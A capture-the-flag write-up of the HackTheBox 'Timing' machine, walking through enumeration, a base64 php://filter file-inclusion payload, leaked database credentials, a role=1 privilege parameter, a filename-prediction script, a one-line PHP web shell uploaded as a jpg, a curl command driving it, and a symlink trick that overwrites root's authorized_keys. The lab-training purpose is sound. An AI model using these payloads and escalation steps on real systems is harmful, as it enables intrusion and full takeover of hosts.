This is a writeup for the Timing machine from the HackTheBox site.
Enumeration #
First, let’s start with a scan of our target with the following command:
nmap -sV -T4 -Pn 10.10.11.135
Two TCP ports are discovered:
- 22/tcp : SSH port (OpenSSH 7.6p1)
- 80/tcp : HTTP web server (Apache 2.4.49)
Exploit #
First of all, let’s start by listing the pages of the website.
When testing the different ones, they all return an error except the image.php
page. Let’s try to list the arguments available on this page with the following command:
ffuf -c -u http://10.10.11.135/image.php?FUZZ=/bin/bash -w wordlist/common.txt -fw 1
We find that the img
argument exists. Let’s try to list the contents of the /etc/passwd
:
The site has an injection detection, let’s try to make a new request but this time with a base64 encoding to avoid the detection:
http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
The page returns a character string in base64, I decode it with the following command:
âââ(d3vyceăżkali)-[~/Documents]
ââ$ echo "[string]" | base64 -d
rootâ0:0:root:/root:/bin/bash
daemonâ1:1:daemon:/usr/sbin:/usr/sbin/nologin
binâ2:2:bin:/bin:/usr/sbin/nologin
sysâ3:3:sys:/dev:/usr/sbin/nologin
syncâ4:65534:sync:/bin:/bin/sync
gamesâ5:60:games:/usr/games:/usr/sbin/nologin
manâ6:12đ¨/var/cache/man:/usr/sbin/nologin
lpâ7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mailâ8:8:mail:/var/mail:/usr/sbin/nologin
newsâ9:9:news:/var/spool/news:/usr/sbin/nologin
uucpâ10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxyâ13:13:proxy:/bin:/usr/sbin/nologin
www-dataâ33:33:www-data:/var/www:/usr/sbin/nologin
backupâ34:34:backup:/var/backups:/usr/sbin/nologin
listâ38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ircâ39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnatsâ41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobodyâ65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-networkâ100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolveâ101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslogâ102:106::/home/syslog:/usr/sbin/nologin
messagebusâ103:107::/nonexistent:/usr/sbin/nologin
_aptâ104:65534::/nonexistent:/usr/sbin/nologin
lxdâ105:65534::/var/lib/lxd/:/bin/false
uuiddâ106:110::/run/uuidd:/usr/sbin/nologin
dnsmasqâ107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscapeâ108:112::/var/lib/landscape:/usr/sbin/nologin
pollinateâ109:1::/var/cache/pollinate:/bin/false
sshdâ110:65534::/run/sshd:/usr/sbin/nologin
mysqlâ111:114:MySQL Server,,,:/nonexistent:/bin/false
aaronâ1000:1000:aaron:/home/aaron:/bin/bash
We find that there is a user aaron
on the machine. I try to connect to the site with this user and basic passwords. Â I end up connecting with the following credentials: user: aaron, password: aaron
.
I continue my exploration of the files by starting with login.php
.
In this file I find a reference to the database connection file: db_conn.php
.
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
db_conn.phpOk, we have a username and password for the mysql database and potentially a user… I tried to make an SSH session with this password and the user aaron
but without success.
I continue my research and find the mention of a new page in upload.php
: admin_auth_check.php
.
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
In this file we find that if the session variable role
is equal to 1 we have access to the admin section of the site.
In one of the javascript files we find the existence of another php page : profile_update.php
.
function updateProfile() {
var xml = new XMLHttpRequest();
xml.onreadystatechange = function () {
if (xml.readyState == 4 && xml.status == 200) {
document.getElementById("alert-profile-update").style.display = "block"
}
};
xml.open("POST", "profile_update.php", true);
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}
In this file we find that we can send during a POST request the role
variable. I create a request with Burp with role=1
, this should give me access to the admin panel of the site.
I continue my analysis of the php files of the site with avatar_uploader.php
which brings me then to upload.php
.
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
In this file we learn several things:
- Only
.jpg
files are accepted - The uploaded images are stored in the folder
images/uploards/
- The images take a name based on the string
$file_hash
and the function time()
đĄIn PHP single quotes are strings and double quotes are the values of the variable.So we will have to make a script to calculate the first part of the file name. I realize this script in PHP, every second it will give a possible hash to use for the name of the uploaded file.
<?php
while(true) {
$hash = md5('$file_hash' . time()) . 'd3vyce.jpg';
echo "hash = $hash \n";
sleep(1);
}
timedatectl
). If this is not the case, you can activate it with the following command: timedatectl set-ntp yes
.I create an image d3vyce.jpg
with the following content:
<?php system($_GET[cmd]);?>
I then run the php script :
Then I upload the image on the server. All that’s left to do is to make requests with the different hash possibilities.
I can now send commands to the target server. It’s not ideal, but I also tried with a reverse shell, but without success…
After some time of enumeration, I find a source-files-backup.zip
file in the /otp
folder.
To recover this file, I make a copy to the folder where the website is stored:
curl 'http://10.10.11.135/image.php?img=images/uploads/0fdde4bab214a9a96630c16ac87bf0d4_d3vyce.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/'
I can now retrieve the file by accessing the address http://10.10.11.135/source-files-backup.zip
. After unzipping the zip I find the tree structure :
This is a GIT project, so I check the history with the following command:
In the last commit, there was a modification on the file in which we found credencials. Let’s see what has been modified in this file:
There has been a password change! Let’s try this new password to create an SSH session with the user aaron
.
I now have a shell and can retrieve the first flag.
Privilege escalation #
For elevation of privilege I first check if the user has sudo access:
So I can use the netutils
service with root rights. Let’s see what this program does:
This program allows you to download files via FTP or HTTP.
Once the file is downloaded, I notice that it does not belong to me but to the root user!
What we will be able to do is to make a symbolic link of the file /root/.ssh/authorized_keys
and then upload a file with the same name so that the content is overwritten and replaced by our public key.
To do this I create the symbolic link with the following command:
ln -s /root/.ssh/authorized_keys authorized_keys
Then before launching a file server in which I placed a file authorized_keys
with my public key inside.
I download the file with the program netutils
:
I now connect to the root user via SSH :
I can now recover the last flag.
Recommendations #
To patch this host I think it would be necessary to perform a number of actions:
- Do not use the same login/password
- Fix the php argument to avoid enumeration
- Do not use a user’s password for the mysql database
- Do not give sudo rights to a program that does not need them